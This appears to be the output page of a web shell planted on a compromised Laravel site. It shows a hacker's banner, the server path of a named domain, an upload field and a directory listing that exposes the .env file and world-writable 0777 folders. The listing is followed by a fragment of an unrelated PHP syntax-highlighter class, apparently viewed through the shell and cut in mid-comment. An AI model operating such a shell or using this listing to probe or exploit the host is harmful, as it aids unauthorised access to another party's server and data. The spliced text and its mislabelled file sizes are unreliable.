I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
*/
private const THEME = [
self::TOKEN_STRING => 'text-gray',
self::TOKEN_COMMENT => 'text-gray italic',
self::TOKEN_KEYWORD => 'text-magenta strong',
self::TOKEN_DEFAULT => 'strong',
self::TOKEN_HTML => 'text-blue strong',
self::ACTUAL_LINE_MARK => 'text-red strong',
self::LINE_NUMBER => 'text-gray',
self::MARKED_LINE_NUMBER => 'italic strong',
self::LINE_NUMBER_DIVIDER => 'text-gray',
];
private string $delimiter = self::DELIMITER_UTF8;
private string $arrow = self::ARROW_SYMBOL_UTF8;
private const NO_MARK = ' ';
/**
* Highlights HTML content from a given node and converts to the content element.
*/
public function toElement(Node $node): Element
{
$line = max((int) $node->getAttribute('line'), 0);
$startLine = max((int) $node->getAttribute('start-line'), 1);
$html = $node->getHtml();
$lines = explode("\n", $html);
$extraSpaces = $this->findExtraSpaces($lines);
if ($extraSpaces !== '') {
$lines = array_map(static function (string $line) use ($extraSpaces): string {
return str_starts_with($line, $extraSpaces) ? substr($line, strlen($extraSpaces)) : $line;
}, $lines);
$html = implode("\n", $lines);
}
$tokenLines = $this->getHighlightedLines(trim($html, "\n"), $startLine);
$lines = $this->colorLines($tokenLines);
$lines = $this->lineNumbers($lines, $line);
return Termwind::div(trim($lines, "\n"));
}
/**
* Finds extra spaces which should be removed from HTML.
*
* @param array $lines
*/
private function findExtraSpaces(array $lines): string
{
foreach ($lines as $line) {
if ($line === '') {
continue;
}
if (preg_replace('/\s+/', '', $line) === '') {
return $line;
}
}
return '';
}
/**
* Returns content split into lines with numbers.
*
* @return array>
*/
private function getHighlightedLines(string $source, int $startLine): array
{
$source = str_replace(["\r\n", "\r"], "\n", $source);
$tokens = $this->tokenize($source);
return $this->splitToLines($tokens, $startLine - 1);
}
/**
* Splits content into tokens.
*
* @return array
*/
private function tokenize(string $source): array
{
$tokens = token_get_all($source);
$output = [];
$currentType = null;
$newType = self::TOKEN_KEYWORD;
$buffer = '';
foreach ($tokens as $token) {
if (is_array($token)) {
if ($token[0] !== T_WHITESPACE) {
$newType = match ($token[0]) {
T_OPEN_TAG, T_OPEN_TAG_WITH_ECHO, T_CLOSE_TAG, T_STRING, T_VARIABLE,
T_DIR, T_FILE, T_METHOD_C, T_DNUMBER, T_LNUMBER, T_NS_C,
T_LINE, T_CLASS_C, T_FUNC_C, T_TRAIT_C => self::TOKEN_DEFAULT,
T_COMMENT, T_DOC_COMMENT => self::TOKEN_COMMENT,
T_ENCAPSED_AND_WHITESPACE, T_CONSTANT_ENCAPSED_STRING => self::TOKEN_STRING,
T_INLINE_HTML => self::TOKEN_HTML,
default => self::TOKEN_KEYWORD
};
}
} else {
$newType = $token === '"' ? self::TOKEN_STRING : self::TOKEN_KEYWORD;
}
if ($currentType === null) {
$currentType = $newType;
}
if ($currentType !== $newType) {
$output[] = [$currentType, $buffer];
$buffer = '';
$currentType = $newType;
}
$buffer .= is_array($token) ? $token[1] : $token;
}
$output[] = [$newType, $buffer];
return $output;
}
/**
* Splits tokens into lines.
*
* @param array $tokens
* @param int $startLine
* @return array>
*/
private function splitToLines(array $tokens, int $startLine): array
{
$lines = [];
$line = [];
foreach ($tokens as $token) {
foreach (explode("\n", $token[1]) as $count => $tokenLine) {
if ($count > 0) {
$lines[$startLine++] = $line;
$line = [];
}
if ($tokenLine === '') {
continue;
}
$line[] = [$token[0], $tokenLine];
}
}
$lines[$startLine++] = $line;
return $lines;
}
/**
* Applies colors to tokens according to a color schema.
*
* @param array> $tokenLines
* @return array
*/
private function colorLines(array $tokenLines): array
{
$lines = [];
foreach ($tokenLines as $lineCount => $tokenLine) {
$line = '';
foreach ($tokenLine as $token) {
[$tokenType, $tokenValue] = $token;
$line .= $this->styleToken($tokenType, $tokenValue);
}
$lines[$lineCount] = $line;
}
return $lines;
}
/**
* Prepends line numbers into lines.
*
* @param array $lines
* @param int $markLine
* @return string
*/
private function lineNumbers(array $lines, int $markLine): string
{
$lastLine = (int) array_key_last($lines);
$lineLength = strlen((string) ($lastLine + 1));
$lineLength = $lineLength < self::WIDTH ? self::WIDTH : $lineLength;
$snippet = '';
$mark = ' '.$this->arrow.' ';
foreach ($lines as $i => $line) {
$coloredLineNumber = $this->coloredLineNumber(self::LINE_NUMBER, $i, $lineLength);
if (0 !== $markLine) {
$snippet .= ($markLine === $i + 1
? $this->styleToken(self::ACTUAL_LINE_MARK, $mark)
: self::NO_MARK
);
$coloredLineNumber = ($markLine === $i + 1 ?
$this->coloredLineNumber(self::MARKED_LINE_NUMBER, $i, $lineLength) :
$coloredLineNumber
);
}
$snippet .= $coloredLineNumber;
$snippet .= $this->styleToken(self::LINE_NUMBER_DIVIDER, $this->delimiter);
$snippet .= $line.PHP_EOL;
}
return $snippet;
}
/**
* Formats line number and applies color according to a color schema.
*/
private function coloredLineNumber(string $token, int $lineNumber, int $length): string
{
return $this->styleToken(
$token, str_pad((string) ($lineNumber + 1), $length, ' ', STR_PAD_LEFT)
);
}
/**
* Formats string and applies color according to a color schema.
*/
private function styleToken(string $token, string $string): string
{
return (string) Termwind::span($string, self::THEME[$token]);
}
}